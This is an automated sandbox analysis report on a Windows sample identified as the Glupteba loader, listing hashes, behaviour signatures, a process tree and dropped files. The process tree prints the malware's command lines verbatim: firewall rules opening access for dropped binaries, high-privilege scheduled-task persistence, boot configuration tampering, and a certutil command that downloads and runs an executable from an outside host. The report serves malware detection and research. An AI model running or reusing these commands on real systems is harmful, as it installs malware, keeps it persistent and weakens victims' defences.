Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-06-2024 23:04

General

  • Target

    a2d68ce5a4a5f47d2aa001a4dd83ef57_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    a2d68ce5a4a5f47d2aa001a4dd83ef57

  • SHA1

    3d8b1ba65986eba4eaf0830c10a494121563b19a

  • SHA256

    f3670a92b119dfb5e46d0410b3399648214f9125dee469675c7431b84075f755

  • SHA512

    b613b777885d69d9ea47875632088df2cfae1d3f7ed0d9c65ccc4e614afa3a4c3616e1ba69d1f35fa669d84147ab6de9368c5964ed54fa516b510bc58c6092ae

  • SSDEEP

    98304:HxW6BwOL4D6l/LtKCs2M1N1yMHPXBNI1qT/AhRg0FSLQwWuBjWo:HxW4wM4D6l/Lto2EN1HHPxNI1qTYhe3Z

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 22 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a2d68ce5a4a5f47d2aa001a4dd83ef57_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a2d68ce5a4a5f47d2aa001a4dd83ef57_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4908
    • C:\Users\Admin\AppData\Local\Temp\a2d68ce5a4a5f47d2aa001a4dd83ef57_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\a2d68ce5a4a5f47d2aa001a4dd83ef57_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:396
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1420
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:1164
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\0e37386a8523\0e37386a8523.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2112
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\0e37386a8523\0e37386a8523.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4468
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1740
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:2884
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4136
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3452

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    3.9MB

    MD5

    a2d68ce5a4a5f47d2aa001a4dd83ef57

    SHA1

    3d8b1ba65986eba4eaf0830c10a494121563b19a

    SHA256

    f3670a92b119dfb5e46d0410b3399648214f9125dee469675c7431b84075f755

    SHA512

    b613b777885d69d9ea47875632088df2cfae1d3f7ed0d9c65ccc4e614afa3a4c3616e1ba69d1f35fa669d84147ab6de9368c5964ed54fa516b510bc58c6092ae

  • memory/396-8-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/396-14-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/396-10-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/396-9-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-20-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-27-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-33-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-32-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-31-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-30-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-29-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-21-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-22-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-23-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-24-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-25-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-26-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/1484-28-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/4908-5-0x00000000031E0000-0x00000000038DC000-memory.dmp

    Filesize

    7.0MB

  • memory/4908-1-0x0000000002E30000-0x00000000031DD000-memory.dmp

    Filesize

    3.7MB

  • memory/4908-2-0x00000000031E0000-0x00000000038DC000-memory.dmp

    Filesize

    7.0MB

  • memory/4908-3-0x0000000000400000-0x0000000000B16000-memory.dmp

    Filesize

    7.1MB

  • memory/4908-4-0x0000000000400000-0x0000000000FCC000-memory.dmp

    Filesize

    11.8MB

  • memory/4908-6-0x0000000000400000-0x0000000000B16000-memory.dmp

    Filesize

    7.1MB